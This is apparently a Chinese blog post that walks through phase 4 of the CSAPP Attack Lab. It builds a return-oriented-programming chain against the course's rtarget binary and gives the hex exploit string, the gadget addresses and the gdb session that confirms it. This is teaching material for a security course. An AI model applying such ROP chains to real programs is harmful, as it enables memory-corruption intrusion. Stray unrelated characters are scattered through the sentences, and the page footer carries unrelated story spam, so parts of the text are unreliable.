AttachLab phase 4

Phase 4

phase 4 重做 level 2,but with rtarget and gadget used.

回憶一下level 2, 只需完成

mov cookie, %rdi
ret

先看 recitation 給的例子,比如我們想把 0xBBBBBBBB 放到 %rbx 中,然后再把它移到 %rax 中:

我們利用了兩個 gargets:

  • address1: mov %rbx, %rax;
  • ret address2: pop %rbx; ret

實際上的 buffer 是這樣的:

+------------------------|
|Next address in ROP Chain
+------------------------|
|Address 1               |
+------------------------+
|0xBBBBBBBB              |
+------------------------+
|Address 2               |Old Return address
+------------------------+
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF(filler...)    |
+------------------------+ 

看 lab 給的提示和限制:

  • 只允許前八個 registers: %rax - %rdi
  • 只允許以下操作 movq, popq, ret, nop
  • start_farm 到 mid_farm 足夠雇锡,用兩個 gadgets
  • 當使用 popq 時,data 也會從 stack 中 pop 出來厂财,exploit string 會包含 gadget address 和 data.

按照提示摩钙,

  • gcc -c farm.c
  • objdump -d farm.o

尋找沒有 pop %rdi, 跟 %rdi 有關的mov 只有 movq %rax, %rdi 48 89 c7, 能找到 pop %rax 58.

在函數 getval_280 中 能找到 58 90 c3, 這就是我們需要用的 pop %rax, 在 objdump -d rtarget 中能找到 58 90 c3 在 0x4019cc 處,先嘗試如下:

// rtarget.12.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 cc 19 40 00 00 00 00 00

發(fā)現可以到達 getval-280, 再根據給的hint贪薪,這里需要把跟 0xBBBBBBBB 類似的cookie 放到這個后面媳禁,然后繼續(xù)跟 movq %rax, %rdi, 我們能找到在 setval-426 處,后面跟的是 48 89 c7 90 c3, 正是我們需要的画切,再跟上 touch2 的地址竣稽,code部分并沒有變,只是 stack 被 random了霍弹。

所以寫下來

// rtarget.12.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 cc 19 40 00 00 00 00 00 /* pop %rax, ret*/ fa 97 b9 59 00 00 00 00 /*cookie value*/ c5 19 40 00 00 00 00 00 /* movq %rax, %rdi, ret */ ec 17 40 00 00 00 00 00 /*touch2 begin */

實際上我們設置breakpoints 在getbuf 的最后一句毫别,然后開始運行的時候:

r -q  -i rtarget.12-raw.txt
stepi
// 提示我們到達這里 0x00000000004019cc in getval_280 ()
stepi
stepi
info registers
// rax已經變化 rax            0x59b997fa    
stepi
// 提示我們到達 0x00000000004019c5 in setval_426 ()
stepi
stepi
stepi
// rdi            0x59b997fa
stepi
// touch2 (val=1505335290) at visible.c:40

phase 4 解決,更多關于 ROP 也可以參見: Introduction to return oriented programming (ROP)

Phase 5

phase 5 重做 level 3, 文檔里這樣寫: “ If you have other pressing obligations consider stopping right now.”

so 暫時先 stop phase 5.

?著作權歸作者所有,轉載或內容合作請聯系作者
  • 序言:七十年代末典格,一起剝皮案震驚了整個濱河市岛宦,隨后出現的幾起案子,更是在濱河造成了極大的恐慌耍缴,老刑警劉巖砾肺,帶你破解...
    沈念sama閱讀 206,126評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現場離奇詭異防嗡,居然都是意外死亡变汪,警方通過查閱死者的電腦和手機,發(fā)現死者居然都...
    沈念sama閱讀 88,254評論 2 382
  • 文/潘曉璐 我一進店門蚁趁,熙熙樓的掌柜王于貴愁眉苦臉地迎上來裙盾,“玉大人,你說我怎么就攤上這事荣德∶泼海” “怎么了?”我有些...
    開封第一講書人閱讀 152,445評論 0 341
  • 文/不壞的土叔 我叫張陵涮瞻,是天一觀的道長鲤拿。 經常有香客問我,道長署咽,這世上最難降的妖魔是什么近顷? 我笑而不...
    開封第一講書人閱讀 55,185評論 1 278
  • 正文 為了忘掉前任生音,我火速辦了婚禮,結果婚禮上窒升,老公的妹妹穿的比我還像新娘缀遍。我一直安慰自己,他們只是感情好饱须,可當我...
    茶點故事閱讀 64,178評論 5 371
  • 文/花漫 我一把揭開白布域醇。 她就那樣靜靜地躺著,像睡著了一般蓉媳。 火紅的嫁衣襯著肌膚如雪譬挚。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 48,970評論 1 284
  • 那天酪呻,我揣著相機與錄音减宣,去河邊找鬼。 笑死玩荠,一個胖子當著我的面吹牛漆腌,可吹牛的內容都是我干的。 我是一名探鬼主播阶冈,決...
    沈念sama閱讀 38,276評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼闷尿,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了女坑?” 一聲冷哼從身側響起悠砚,我...
    開封第一講書人閱讀 36,927評論 0 259
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎堂飞,沒想到半個月后,有當地人在樹林里發(fā)現了一具尸體绑咱,經...
    沈念sama閱讀 43,400評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡绰筛,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 35,883評論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現自己被綠了描融。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片铝噩。...
    茶點故事閱讀 37,997評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖窿克,靈堂內的尸體忽然破棺而出骏庸,到底是詐尸還是另有隱情,我是刑警寧澤年叮,帶...
    沈念sama閱讀 33,646評論 4 322
  • 正文 年R本政府宣布具被,位于F島的核電站,受9級特大地震影響只损,放射性物質發(fā)生泄漏一姿。R本人自食惡果不足惜七咧,卻給世界環(huán)境...
    茶點故事閱讀 39,213評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望叮叹。 院中可真熱鬧艾栋,春花似錦、人聲如沸蛉顽。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,204評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽携冤。三九已至悼粮,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間噪叙,已是汗流浹背矮锈。 一陣腳步聲響...
    開封第一講書人閱讀 31,423評論 1 260
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留睁蕾,地道東北人苞笨。 一個月前我還...
    沈念sama閱讀 45,423評論 2 352
  • 正文 我出身青樓,卻偏偏與公主長得像子眶,于是被迫代替她去往敵國和親瀑凝。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 42,722評論 2 345

推薦閱讀更多精彩內容

  • 本文首發(fā)于我的博客 Attack Lab 實驗代碼見GitHub 簡介 Attack Lab的內容針對的是CS-A...
    viseator閱讀 9,743評論 0 4
  • 本文介紹的是CSAPP書籍中的第三個lab: Attack lab臭杰。通過這個lab我們能夠更加清楚和深入的了解到緩...
    金際一線天閱讀 38,625評論 6 24
  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys閱讀 3,296評論 0 2
  • 0. 引言 如果你學的第一門程序語言是C語言粤咪,那么下面這段程序很可能是你寫出來的第一個有完整的 “輸入---處理-...
    pandolia閱讀 13,959評論 13 27
  • 本書講的是一個外國人不停的追隨中國的詩人一個故事,所以取名尋人不遇渴杆,聽書名給人的感覺像是關乎愛情的寥枝,聽完樊登老師的...
    王小柒aa閱讀 122評論 0 0